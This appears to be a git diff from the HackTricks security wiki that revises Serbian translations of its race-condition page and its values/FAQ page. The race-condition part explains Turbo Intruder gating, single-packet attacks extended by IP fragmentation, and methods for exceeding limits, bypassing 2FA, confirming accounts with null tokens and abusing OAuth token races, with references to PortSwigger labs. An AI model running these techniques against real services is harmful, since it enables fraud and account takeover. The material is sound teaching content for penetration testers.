https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun # Script from victor to solve a HTB challenge @@ -217,21 +217,29 @@ h2_conn.close_connection() response = requests.get(url, verify=False) ``` -### Poboljšanje Single Packet Attack +#### Turbo Intruder: engine and gating notes -U originalnom istraživanju objašnjeno je da ovaj napad ima ograničenje od 1,500 bajtova. Međutim, u [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) objašnjeno je kako je moguće proširiti ograničenje od 1,500 bajtova single packet attack-a na **65,535 B window limitation of TCP by using IP layer fragmentation** (podelom jednog paketa na više IP paketa) i slanjem fragmenata u različitom redosledu, što onemogućava ponovno spajanje paketa dok svi fragmenti ne stignu na server. Ova tehnika je istraživaču omogućila da pošalje 10,000 zahteva za oko 166ms. +- Engine selection: use `Engine.BURP2` on HTTP/2 targets to trigger the single‑packet attack; fall back to `Engine.THREADED` or `Engine.BURP` for HTTP/1.1 last‑byte sync. +- `gate`/`openGate`: queue many copies with `gate='race1'` (or per‑attempt gates), which withholds the tail of each request; `openGate('race1')` flushes all tails together so they arrive nearly simultaneously. +- Diagnostics: negative timestamps in Turbo Intruder indicate the server responded before the request was fully sent, proving overlap. This is expected in true races. +- Connection warming: send a ping or a few harmless requests first to stabilise timings; optionally disable `TCP_NODELAY` to encourage batching of the final frames. -Imajte na umu da, iako ovo poboljšanje čini napad pouzdanijim u RC situacijama kojima je potrebno da stotine/hiljade paketa stignu istovremeno, može imati i softverska ograničenja. Neki popularni HTTP serveri kao što su Apache, Nginx i Go imaju strogo podešavanje `SETTINGS_MAX_CONCURRENT_STREAMS` na 100, 128 i 250. Međutim, drugi kao NodeJS i nghttp2 imaju to neograničeno.\ -Ovo u suštini znači da će Apache uzeti u obzir samo 100 HTTP konekcija iz jedne TCP konekcije (ograničavajući ovaj RC napad). -Možete pronaći neke primere koji koriste ovu tehniku u repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main). +### Improving Single Packet Attack + +In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms. + +Note that although this improvement makes the attack more reliable in RC that requiers hundreds/thousands of packets to arrive at the same time, it might also have some software limitations. Some popular HTTP servers like Apache, Nginx and Go have a strict `SETTINGS_MAX_CONCURRENT_STREAMS` setting to 100, 128 and 250. However, other like NodeJS and nghttp2 has it unlimited.\ +This basically mean that Apache will only consider 100 HTTP connections from a single TCP connection (limiting this RC attack). + +You can find some examples using this tehcnique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main). ## Raw BF -Pre prethodnog istraživanja, korišćeni su neki payloadi koji su samo pokušavali da pošalju pakete što brže kako bi izazvali RC. +Before the previous research these were some payloads used which just tried to send the packets as fast as possible to cause a RC. -- **Repeater:** Proverite primere iz prethodnog odeljka. -- **Intruder**: Pošaljite **request** u **Intruder**, podesite **number of threads** na **30** u **Options menu**, izaberite kao payload **Null payloads** i generišite **30.** +- **Repeater:** Check the examples from the previous section. +- **Intruder**: Send the **request** to **Intruder**, set the **number of threads** to **30** inside the **Options menu and,** select as payload **Null payloads** and generate **30.** - **Turbo Intruder** ```python def queueRequests(target, wordlists): @@ -279,75 +287,75 @@ print(results) asyncio.run(main()) ``` -## **RC Metodologija** +## **RC metodologija** -### Prekoračenje ograničenja / TOCTOU +### Prekoračenje limita / TOCTOU -Ovo je najosnovniji tip race condition-a gde se **vulnerabilities** pojavljuju na mestima koja **ograničavaju broj puta kada možete izvršiti neku akciju**. Na primer, korišćenje istog discount code-a više puta u web prodavnici. Veoma jednostavan primer može se naći u [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ili u [**this bug**](https://hackerone.com/reports/759247)**.** +Ovo je najosnovnija vrsta race condition-a gde se **ranjivosti** javljaju na mestima koja **ograničavaju broj puta kada možete izvršiti akciju**. Kao kada se isti kod za popust koristi više puta u web prodavnici. Vrlo jednostavan primer može se naći u [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ili u [**this bug**](https://hackerone.com/reports/759247)**.** Postoji mnogo varijacija ovog tipa napada, uključujući: -- Iskorišćavanje gift card-a više puta -- Ocena proizvoda više puta -- Podizanje ili transfer novca koji premašuje stanje na računu -- Ponovno korišćenje jedne CAPTCHA rešenja +- Iskorišćavanje poklon kartice više puta +- Ocenjivanje proizvoda više puta +- Podizanje ili prenos novca preko stanja na računu +- Ponovna upotreba istog CAPTCHA rešenja - Zaobilaženje anti-brute-force rate limita ### **Skrivena podstanja** -Eksploatisanje kompleksnih race conditions često podrazumeva iskorišćavanje kratkih prilika za interakciju sa skrivenim ili **neplaniranim mašinskim podstanjima**. Evo kako pristupiti tome: +Iskorišćavanje kompleksnih race condition-a često podrazumeva korišćenje kratkih mogućnosti za interakciju sa skrivenim ili **nepredviđenim mašinskim podstanjima**. Evo kako pristupiti tome: -1. **Identify Potential Hidden Substates** -- Počni tako što ćeš identifikovati endpoints koji menjaju ili interaguju sa kritičnim podacima, kao što su user profiles ili password reset procesi. Fokusiraj se na: -- **Storage**: Preferiraj endpoints koji manipulišu server-side persistent podacima u odnosu na one koji rukovode podacima client-side. -- **Action**: Traži operacije koje menjaju postojeće podatke, jer one imaju veću verovatnoću da generišu eksploatabilne uslove u poređenju sa onima koje dodaju nove podatke. -- **Keying**: Uspešni napadi obično uključuju operacije koje su vezane za isti identifikator, npr. username ili reset token. -2. **Conduct Initial Probing** -- Testiraj identifikovane endpoints sa race condition attacks, posmatrajući bilo kakva odstupanja od očekivanih rezultata. Neočekivani odgovori ili promene u ponašanju aplikacije mogu ukazivati na ranjivost. -3. **Demonstrate the Vulnerability** -- Suzi napad na minimalan broj zahteva potrebnih za eksploataciju ranjivosti, često dovoljno dva zahteva. Ovaj korak može zahtevati više pokušaja ili automatizaciju zbog preciznog keširanja vremena. +1. **Identifikujte potencijalna skrivena podstanja** +- Počnite tako što ćete pronaći endpoints koji menjaju ili interaguju sa kritičnim podacima, kao što su user profiles ili password reset procesi. Fokusirajte se na: +- **Storage**: Preferirajte endpoints koji manipulišu server-side persistent podacima umesto onih koji rukovode podacima client-side. +- **Action**: Tražite operacije koje menjaju postojeće podatke, koje su verovatnije da kreiraju exploitable uslove u poređenju sa onima koje dodaju nove podatke. +- **Keying**: Uspešni napadi obično uključuju operacije koje koriste isti identifikator, npr. username ili reset token. +2. **Sprovedite početno ispitivanje** +- Testirajte identifikovane endpoints korišćenjem race condition napada, posmatrajući bilo kakva odstupanja od očekivanih rezultata. Neočekivani odgovori ili promene u ponašanju aplikacije mogu ukazivati na ranjivost. +3. **Demonstrirajte ranjivost** +- Svedite napad na minimalan broj zahteva potrebnih za iskorišćavanje ranjivosti, često samo dva. Ovaj korak može zahtevati višestruke pokušaje ili automatizaciju zbog preciznog tajminga. -### Time Sensitive Attacks +### Vremenski osetljivi napadi -Preciznost u vremenu slanja zahteva može otkriti vulnerabilities, posebno kada se za sigurnosne token-e koriste predvidivi metodi kao što su timestamps. Na primer, generisanje password reset tokens bazirano na timestamps može dovesti do identičnih token-a za simultane zahteve. +Preciznost u tajmingu zahteva može otkriti ranjivosti, posebno kada se za sigurnosne token-e koriste predvidljivi metodi poput timestamps. Na primer, generisanje password reset tokens zasnovanih na timestamps može dozvoliti identične tokene za simultane zahteve. -**To Exploit:** +**Za iskorišćavanje:** -- Koristi precizno tempiranje, npr. single packet attack, da pošalješ concurrent password reset requests. Identični tokens ukazuju na ranjivost. +- Koristite precizan tajming, kao što je single packet attack, da pošaljete istovremene password reset zahteve. Identični tokens ukazuju na ranjivost. -**Example:** +**Primer:** -- Zatraži dva password reset tokens istovremeno i uporedi ih. Poklapajući tokens sugerišu manu u token generation. +- Zatražite dva password reset tokena istovremeno i uporedite ih. Poklapajući tokeni sugerišu grešku u generisanju tokena. -**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.** +Isprobajte ovo na [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities). ## Studije slučaja skrivenih podstanja -### Pay & add an Item +### Plati & dodaj stavku -Pogledaj ovaj [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) da vidiš kako da **pay** u prodavnici i **add an extra** item koju **won't need to pay for it**. +Pogledajte [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) da vidite kako da **platite** u prodavnici i **dodate dodatnu** stavku za koju **nećete morati da platite**. -### Confirm other emails +### Potvrdite druge email adrese -Ideja je da se **verify an email address and change it to a different one at the same time** da bi se proverilo da li platforma verifikuje novu adresu koja je promenjena. +Ideja je da se **verifikuje email adresa i istovremeno promeni u drugu** da biste saznali da li platforma verifikuje novu adresu. -### Change email to 2 emails addresses Cookie based +### Promena email-a na 2 adrese (Cookie-based) -Prema [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab je bio ranjiv na takeover na ovaj način jer bi mogao **send** the **email verification token of one email to the other email**. +Prema [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab je bio ranjiv na takeover na ovaj način zato što bi mogao **poslati** **email verification token** jedne adrese na drugu. -**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.** +Isprobajte ovo na [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint). -### Hidden Database states / Confirmation Bypass +### Skrivena stanja baze podataka / Bypass potvrde -Ako se koriste **2 different writes** za **add** **information** unutar **database**, postoji mali vremenski period u kome je **only the first data has been written** u bazi. Na primer, pri kreiranju user-a, **username** i **password** mogu biti **written**, a zatim se **then the token** za potvrdu novokreiranog naloga upiše. To znači da u kratkom vremenu **token to confirm an account is null**. +Ako se koriste **2 različita upisa** za **dodavanje** **informacija** u **database**, postoji kratki period vremena kada je **samo prvi podatak upisan** u bazu podataka. Na primer, pri kreiranju korisnika **username** i **password** mogu biti **upisani**, a **zatim token** za potvrdu novokreiranog naloga se upiše. To znači da je tokom kratkog vremena **token za potvrdu naloga null**. -Stoga **registracija naloga i slanje nekoliko zahteva sa praznim token-om** (`token=` or `token[]=` or any other variation) da se odmah potvrdi nalog, moglo bi omogućiti d**a potvrdite nalog** na kome ne kontrolišete email. +Stoga, **registracija naloga i slanje više zahteva sa praznim tokenom** (`token=` ili `token[]=` ili bilo koja druga varijacija) kako biste odmah potvrdili nalog, može omogućiti da **potvrdite nalog** gde ne kontrolišete email. -**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.** +Isprobajte ovo na [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction). -### Bypass 2FA +### Zaobilaženje 2FA -Sledeći pseudo-code je ranjiv na race condition jer u veoma kratkom vremenu **2FA is not enforced** dok se session kreira: +Sledeći pseudo-kod je ranjiv na race condition jer u vrlo kratkom vremenu **2FA nije primenjen** dok se sesija kreira: ```python session['userid'] = user.userid if user.mfa_enabled: @@ -355,23 +363,23 @@ session['enforce_mfa'] = True # generate and send MFA code to user # redirect browser to MFA code entry form ``` -### OAuth2 večna perzistencija +### OAuth2 trajna perzistencija -There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Ove usluge vam omogućavaju da napravite aplikaciju i autentifikujete korisnike koje je provajder registrovao. Da bi to uradio, **client** će morati da **dozvoli vašoj aplikaciji** pristup nekim od njihovih podataka unutar **OAUth provider**. -Dakle, do sada je to samo uobičajeni login sa google/linkedin/github... gde vam se prikaže stranica na kojoj piše: "_Application \ wants to access you information, do you want to allow it?_" +Postoji nekoliko [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Ove usluge omogućavaju kreiranje aplikacije i autentifikaciju korisnika koje provider registruje. Da bi se to ostvarilo, **klijent** će morati da **dozvoli vašoj aplikaciji** pristup nekim njihovim podacima unutar **OAUth provider**.\ +Dakle, do ovde je u pitanju uobičajeni login sa google/linkedin/github... gde vam se prikaže stranica sa porukom: "_Application \ wants to access you information, do you want to allow it?_" #### Race Condition in `authorization_code` -The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Zatim ta **aplikacija zloupotrebljava Race Condition u OAUth service provideru da generiše više od jednog AT/RT** (_Authentication Token/Refresh Token_) iz **`authorization_code`** za vaš nalog. U suštini, zloupotrebljava činjenicu da ste prihvatili da aplikacija pristupi vašim podacima da **kreira više naloga**. Ako potom **prestanete da dozvoljavate aplikaciji pristup vašim podacima, jedan par AT/RT će biti izbrisan, ali ostali će i dalje biti validni**. +Problem se pojavljuje kada ga **prihvatite** i to automatski pošalje **`authorization_code`** malicioznoj aplikaciji. Zatim ta **aplikacija zloupotrebljava Race Condition u OAUth service provider** da iz **`authorization_code`** generiše više od jednog AT/RT (_Authentication Token/Refresh Token_) za vaš nalog. U suštini, ona zloupotrebljava činjenicu da ste dozvolili aplikaciji pristup vašim podacima da **kreira više naloga**. Onda, ako **prestanete da dozvoljavate aplikaciji pristup vašim podacima**, jedan par AT/RT će biti obrisan, ali ostali će i dalje biti validni. #### Race Condition in `Refresh Token` -Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.** +Kada dobijete **validan RT** možete pokušati da ga **zloupotrebite da generišete više AT/RT**, i **čak i ako korisnik opozove dozvole** za malicioznu aplikaciju da pristupa njegovim podacima, **više RT će i dalje biti validno.** -## **RC in WebSockets** +## **RC u WebSockets** -- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) možete naći PoC u Java koji šalje websocket poruke **paralelno** da bi zloupotrebio **Race Conditions i u Web Sockets**. -- With Burp’s WebSocket Turbo Intruder možete koristiti **THREADED** engine da pokrenete više WS konekcija i ispaljujete payloads paralelno. Počnite od zvaničnog primera i podešavajte `config()` (broj thread-ova) za konkurentnost; ovo je često pouzdanije od batch-ovanja na jednoj konekciji kada se race-uje server‑side stanje kroz WS handlere. Pogledajte [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py). +- U [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) možete naći PoC u Javi za slanje websocket poruka paralelno kako biste zloupotrebili **Race Conditions** i u Web Sockets. +- Sa Burp’s WebSocket Turbo Intruder možete koristiti **THREADED** engine da pokrenete više WS konekcija i šaljete payload-e paralelno. Počnite od zvaničnog primera i podesite `config()` (broj niti) za konkurentnost; ovo je često pouzdanije nego batčovanje preko jedne konekcije kada se trkate za stanje na strani servera između WS handler‑a. Pogledajte [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py). ## References diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index fcf7e27f3..4e1c1d406 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -1,21 +1,21 @@ -# HackTricks Values & FAQ +# HackTricks Vrednosti i FAQ {{#include ../banners/hacktricks-training.md}} -## HackTricks Values +## Vrednosti HackTricks > [!TIP] > Ovo su **vrednosti HackTricks projekta**: > -> - Omogućiti **BESPLATAN** pristup **OBRAZOVNIM hacking** resursima svima na Internetu. -> - Hacking je o učenju, a učenje bi trebalo da bude što besplatnije. -> - Svrha ove knjige je da služi kao sveobuhvatan **obrazovni resurs**. -> - **ČUVATI** sjajne **hacking** tehnike koje zajednica objavljuje, dajući **ORIGINALNIM** **AUTORIMA** sve **zasluge**. -> - **Ne želimo zasluge drugih ljudi**, želimo samo da sačuvamo kul trikove za sve. -> - Takođe pišemo i **svoja istraživanja** u HackTricks. +> - Obezbediti **BESPLATAN** pristup **EDUKATIVNIM hacking** resursima celom Internetu. +> - Hacking je o učenju, a učenje treba da bude što je moguće besplatnije. +> - Svrha ove knjige je da služi kao sveobuhvatan **edukativni resurs**. +> - **ČUVATI** sjajne **hacking** tehnike koje zajednica objavljuje, dajući **IZVORNIM** **AUTORIMA** sve **zasluge**. +> - **Ne želimo zasluge drugih ljudi**, samo želimo da sačuvamo kul trikove za sve. +> - Takođe pišemo **sva naša istraživanja** u HackTricks. > - U nekoliko slučajeva ćemo samo napisati **u HackTricks sažetak važnih delova** tehnike i **podstaći čitaoca da poseti originalni post** za više detalja. -> - **ORGANIZOVATI** sve hacking tehnike u knjizi kako bi bile **LAKŠE PRISTUPAČNE** -> - Tim HackTricks-a je posvetio hiljade sati besplatno **samo za organizaciju sadržaja** kako bi ljudi mogli **brže da uče** +> - **ORGANIZOVATI** sve **hacking** tehnike u knjizi tako da budu **PRISTUPAČNIJE** +> - Tim HackTricks-a je posvetio hiljade sati besplatno **isključivo za organizovanje sadržaja** kako bi ljudi mogli **učiti brže**
@@ -23,17 +23,17 @@ > [!TIP] > -> - **Hvala puno za ove resurse, kako mogu da vam se odužim?** +> - **Hvala vam puno na ovim resursima, kako vam mogu zahvaliti?** -Možete javno zahvaliti HackTricks timu za objavljivanje svih ovih resursa u tvitu pominjući [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ -Ako ste posebno zahvalni možete takođe [**sponsorovati projekat ovde**](https://github.com/sponsors/carlospolop).\ -I ne zaboravite da **stavite zvezdicu na Github projektima!** (Linkovi su dole). +Možete javno zahvaliti HackTricks timu što je sastavio sve ove resurse javnim tvitom u kojem pominjete [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ +Ako ste posebno zahvalni, možete takođe [**sponzorisati projekat ovde**](https://github.com/sponsors/carlospolop).\ +I ne zaboravite da **stavite zvezdicu na Github projektima!** (Pogledajte linkove ispod). > [!TIP] > -> - **Kako mogu da doprinesem projektu?** +> - **Kako mogu doprineti projektu?** -Možete **podeliti nove savete i trikove sa zajednicom ili ispraviti greške** koje nađete u knjigama slanjem **Pull Request** na odgovarajuće Github stranice: +Možete **podeliti nove savete i trikove sa zajednicom ili otkloniti greške** koje nađete u knjigama slanjem **Pull Request** na odgovarajuće Github stranice: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) @@ -42,16 +42,16 @@ Ne zaboravite da **stavite zvezdicu na Github projektima!** > [!TIP] > -> - **Mogu li da kopiram deo sadržaja iz HackTricks i stavim ga na svoj blog?** +> - **Mogu li kopirati deo sadržaja iz HackTricks-a i objaviti ga na svom blogu?** -Da, možete, ali **ne zaboravite da navedete konkretan link/ove linkove** odakle je sadržaj preuzet. +Da, možete, ali **ne zaboravite da navedete konkretan(e) link(ove)** odakle je sadržaj preuzet. > [!TIP] > -> - **Kako da citiram stranicu HackTricks-a?** +> - **Kako mogu citirati stranicu HackTricks-a?** -Dovoljno je da se pojavi link stranice(a) odakle ste preuzeli informaciju.\ -Ako vam treba bibtex možete koristiti nešto poput: +Ako se pojavi link stranice/stranica odakle ste uzeli informacije, to je dovoljno.\ +Ako vam treba bibtex, možete koristiti nešto poput: ```latex @misc{hacktricks-bibtexing, author = {"HackTricks Team" or the Authors name of the specific page/trick}, @@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, ``` > [!WARNING] > -> - **Mogu li kopirati sve HackTricks na svoj blog?** - -**Radije ne bih**. To **neće koristiti nikome** jer je sav **sadržaj već javno dostupan** u zvaničnim HackTricks knjigama besplatno. - -Ako se plašite da će nestati, jednostavno ga forkajte na Github ili preuzmite, kao što sam rekao — već je besplatno. +> - **Can I copy all HackTricks in my blog?** +> +> **Radije ne.** To **neće koristiti nikome** jer je **sav sadržaj već javno dostupan** u zvaničnim HackTricks knjigama besplatno. +> +> Ako se plašiš da će nestati, jednostavno ga forkaj na Github-u ili preuzmi — kao što sam rekao, već je besplatno. > [!WARNING] > -> - **Zašto imate sponzore? Da li su HackTricks knjige za komercijalne svrhe?** - -Prva **HackTricks** **vrednost** je da ponudi **BESPLATNE** edukativne resurse o hakovanju **CELOM** svetu. Tim HackTricks-a je **posvetio hiljade sati** kako bi ponudio ovaj sadržaj, ponovo, **BESPLATNO**. - -Ako mislite da su HackTricks knjige napravljene u **komercijalne svrhe**, vi ste **U POTPUNOSTI U PRAVU**. (Note: original used emphatic wording — translated below to keep meaning.) - -Imamo sponzore zato što, čak i ako je sav sadržaj **BESPLATAN**, želimo da **omogućimo zajednici mogućnost da ceni naš rad** ukoliko to žele. Stoga nudimo ljudima opciju da doniraju HackTricks putem [**Github sponsors**](https://github.com/sponsors/carlospolop), i omogućavamo **relevantnim kompanijama iz oblasti cyberbezbednosti** da sponzorišu HackTricks i da se u knjizi pojavljuju **oglasi**, pri čemu su ti **oglasi** uvek postavljeni na mesta gde su **vidljivi**, ali **ne ometaju proces učenja** ako se neko fokusira na sadržaj. - -Nećete naći HackTricks prepun iritantnih oglasa kao na drugim blogovima koji imaju mnogo manje sadržaja od HackTricks-a, jer HackTricks nije napravljen u komercijalne svrhe. +> - **Why do you have sponsors? Are HackTricks books for commercial purposes?** +> +> Prva HackTricks **vrednost** je da ponudi **BESPLATNE** obrazovne resurse o hakovanju celom svetu. Tim HackTricks-a je **posvetio hiljade sati** da ponudi ovaj sadržaj, ponovo, **BESPLATNO**. +> +> Ako misliš da su HackTricks knjige napravljene u **komercijalne svrhe**, **POTPUNO GRIJEŠIŠ**. +> +> Imamo sponzore zato što, čak i ako je sav sadržaj BESPLATAN, želimo da **ponudimo zajednici mogućnost da podrži naš rad** ako to želi. Zbog toga nudimo ljudima opciju da doniraju HackTricks putem [**Github sponsors**](https://github.com/sponsors/carlospolop), a relevantne kompanije iz oblasti cybersecurity-a mogu sponzorisati HackTricks i imati neke reklame u knjizi — reklame su uvek postavljene na mestima gde su **vidljive** ali **ne ometaju proces učenja** ako se neko fokusira na sadržaj. +> +> Nećete naći HackTricks prepun dosadnih reklama kao na drugim blogovima sa mnogo manje sadržaja od HackTricks-a, jer HackTricks nije napravljen u komercijalne svrhe. > [!CAUTION] > -> - **Šta da uradim ako je neka HackTricks stranica zasnovana na mom blog postu, ali nije referencirana?** - -**Jako nam je žao. Ovo nije trebalo da se desi**. Molimo vas da nas obavestite preko Github issues, Twitter, Discord... pošaljite link HackTricks stranice sa sadržajem i link vašeg bloga i **proverićemo to i dodaćemo referencu što je pre moguće**. +> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?** +> +> **Veoma nam je žao. Ovo se ne bi trebalo dogoditi.** Molimo vas da nas obavestite putem Github issues, Twitter, Discord... pošaljite link HackTricks strane sa sadržajem i link vašeg bloga i **proverićemo i dodaćemo izvor što pre**. > [!CAUTION] > -> - **Šta da uradim ako se sadržaj sa mog bloga nalazi na HackTricks i ne želim da bude tamo?** - -Imajte na umu da prisustvo linka ka vašoj stranici u HackTricks: - -- Poboljšava vaš **SEO** -- Sadržaj se **prevodi na više od 15 jezika**, što omogućava većem broju ljudi pristup tom sadržaju -- **HackTricks podstiče** ljude da **pogledaju vašu stranicu** (nekoliko ljudi nam je reklo da otkako je neka njihova stranica u HackTricks-u dobijaju više poseta) - -Međutim, ako i dalje želite da sadržaj vašeg bloga bude uklonjen iz HackTricks, samo nas obavestite i mi ćemo definitivno **ukloniti svaki link ka vašem blogu**, i sav sadržaj koji je na njemu zasnovan. +> - **What should I do if there is content from my blog in HackTricks and I don't want it there?** +> +> Imajte u vidu da linkovi ka vašoj strani u HackTricks: +> +> - Poboljšavaju vaš **SEO** +> - Sadržaj se **prevodi na više od 15 jezika**, što omogućava većem broju ljudi pristup tom sadržaju +> - **HackTricks podstiče** ljude da **posete vašu stranicu** (nekoliko ljudi nam je reklo da su od kada je neka njihova stranica u HackTricks-u, dobili više poseta) +> +> Međutim, ako i dalje želite da sadržaj vašeg bloga bude uklonjen iz HackTricks, samo nas obavestite i mi ćemo definitivno **ukloniti svaki link ka vašem blogu**, i sav sadržaj baziran na njemu. > [!CAUTION] > -> - **Šta da uradim ako pronađem copy-paste sadržaj na HackTricks?** +> - **What should I do if I find copy-pasted content in HackTricks?** +> +> Uvek **dajemo originalnim autorima svu zaslugu**. Ako nađete stranicu sa copy-paste sadržajem bez reference na originalni izvor, obavestite nas i mi ćemo ili **ukloniti sadržaj**, **dodati link pre teksta**, ili **prepisati ga uz dodavanje linka**. -Uvek **dajemo originalnim autorima sve zasluge**. Ako pronađete stranicu sa copy-paste sadržajem bez reference na originalni izvor, javite nam i mi ćemo ili **ukloniti sadržaj**, **dodati link pre teksta**, ili **prepisati ga i dodati link**. +## LICENSE -## LICENCA +Copyright © Sva prava zadržana osim ako nije drugačije navedeno. -Copyright © Sva prava zadržana osim ako nije drugačije naznačeno. +#### License Summary: -#### Sažetak licence: - -- Priznanje autorstva: Slobodno: +- Attribution: Slobodno vam je: - Share — kopirati i redistribuirati materijal u bilo kom medijumu ili formatu. -- Adapt — remiksovati, transformisati i graditi na osnovu materijala. +- Adapt — remiksovati, transformisati i izgrađivati na osnovu materijala. -#### Dodatni uslovi: +#### Additional Terms: -- Sadržaj trećih strana: Delovi ovog bloga/knjige mogu uključivati materijal iz drugih izvora, kao što su izdaci iz drugih blogova ili publikacija. Korišćenje takvog sadržaja obavlja se na osnovu principa fair use ili uz izričitu dozvolu od strane nosilaca autorskih prava. Molimo vas da se obratite originalnim izvorima za specifične informacije o licenci u vezi sa sadržajem trećih strana. -- Autorstvo: Originalni sadržaj koji je autorstvo HackTricks podleže uslovima ove licence. Preporučuje se da prilikom deljenja ili prilagođavanja navedete autora ovog rada. +- Third-Party Content: Delovi ovog bloga/knjige mogu uključivati sadržaj iz drugih izvora, kao što su isječci iz drugih blogova ili publikacija. Korišćenje takvog sadržaja vrši se u skladu sa principima fair use ili uz izričitu dozvolu odgovarajućih nosilaca autorskih prava. Molimo vas da se obratite originalnim izvorima za specifične informacije o licenciranju sadržaja trećih strana. +- Authorship: Originalni sadržaj koji je autorstvo HackTricks-a podleže uslovima ove licence. Preporučuje se da prilikom deljenja ili prilagođavanja ovom delu navedete autora. -#### Izuzeci: +#### Exemptions: -- Komercijalna upotreba: Za upite u vezi sa komercijalnom upotrebom ovog sadržaja, molimo kontaktirajte autora. +- Commercial Use: Za upite u vezi sa komercijalnom upotrebom ovog sadržaja, molimo kontaktirajte me. -Ova licenca ne daje nikakva prava na žigove ili brendiranje u vezi sa sadržajem. Svi žigovi i brendiranje prikazani u ovom blogu/knjizi su vlasništvo njihovih odgovarajućih vlasnika. +Ova licenca ne dodeljuje nikakva prava na zaštitne znakove ili brendiranje u vezi sa sadržajem. Svi zaštitni znaci i brendovi prikazani u ovom blogu/knjizi su vlasništvo njihovih respektivnih vlasnika. -**Pristupanjem ili korišćenjem HackTricks, slažete se da ćete se pridržavati uslova ove licence. Ako se ne slažete sa ovim uslovima, molimo vas, ne pristupajte ovom veb-sajtu.** +**Pristupanjem ili korišćenjem HackTricks, saglasni ste da poštujete uslove ove licence. Ako se ne slažete sa ovim uslovima, molimo vas, ne pristupajte ovom sajtu.** -## **Odricanje odgovornosti** +## **Disclaimer** > [!CAUTION] -> Ova knjiga, 'HackTricks', namenjena je isključivo u obrazovne i informativne svrhe. Sadržaj ove knjige pruža se "kakav jeste", i autori i izdavači ne daju nikakve izjave niti garancije, izričite ili implicitne, u pogledu potpunosti, tačnosti, pouzdanosti, podobnosti ili dostupnosti informacija, proizvoda, usluga ili povezanih grafika sadržanih u ovoj knjizi. Svako oslanjanje na te informacije stoga je isključivo na sopstveni rizik. +> Ova knjiga, 'HackTricks', namenjena je isključivo u obrazovne i informativne svrhe. Sadržaj u knjizi dostavljen je "kakav jeste", i autori i izdavači ne daju nikakva izričita ili implicitna obećanja ili garancije o potpunosti, tačnosti, pouzdanosti, pogodnosti ili dostupnosti informacija, proizvoda, usluga ili povezanih grafika sadržanih u ovoj knjizi. Svako oslanjanje na takve informacije je striktno na sopstveni rizik. > -> Autori i izdavači ni u kom slučaju neće biti odgovorni za bilo kakav gubitak ili štetu, uključujući, bez ograničenja, indirektne ili posledične gubitke ili štete, niti bilo kakav gubitak ili štetu nastalu usled gubitka podataka ili profita koji proizilaze iz, ili u vezi sa korišćenjem ove knjige. +> Autori i izdavači ni u kom slučaju neće biti odgovorni za bilo kakav gubitak ili štetu, uključujući, bez ograničenja, indirektne ili posledične gubitke ili štete, niti za bilo kakav gubitak podataka ili profita koji proizilazi iz, ili u vezi sa, korišćenjem ove knjige. > -> Nadalje, tehnike i saveti opisani u ovoj knjizi pruženi su isključivo u edukativne i informativne svrhe i ne bi trebalo da se koriste za bilo kakve ilegalne ili zlonamerne aktivnosti. Autori i izdavači ne odobravaju niti podržavaju bilo kakve ilegalne ili neetičke aktivnosti, i svako korišćenje informacija sadržanih u ovoj knjizi vrši se na sopstveni rizik i odgovornost korisnika. +> Nadalje, tehnike i saveti opisani u ovoj knjizi pruženi su u obrazovne i informativne svrhe i ne bi trebalo da se koriste za bilo koje ilegalne ili zlonamerne aktivnosti. Autori i izdavači ne odobravaju i ne podržavaju bilo kakve ilegalne ili neetičke 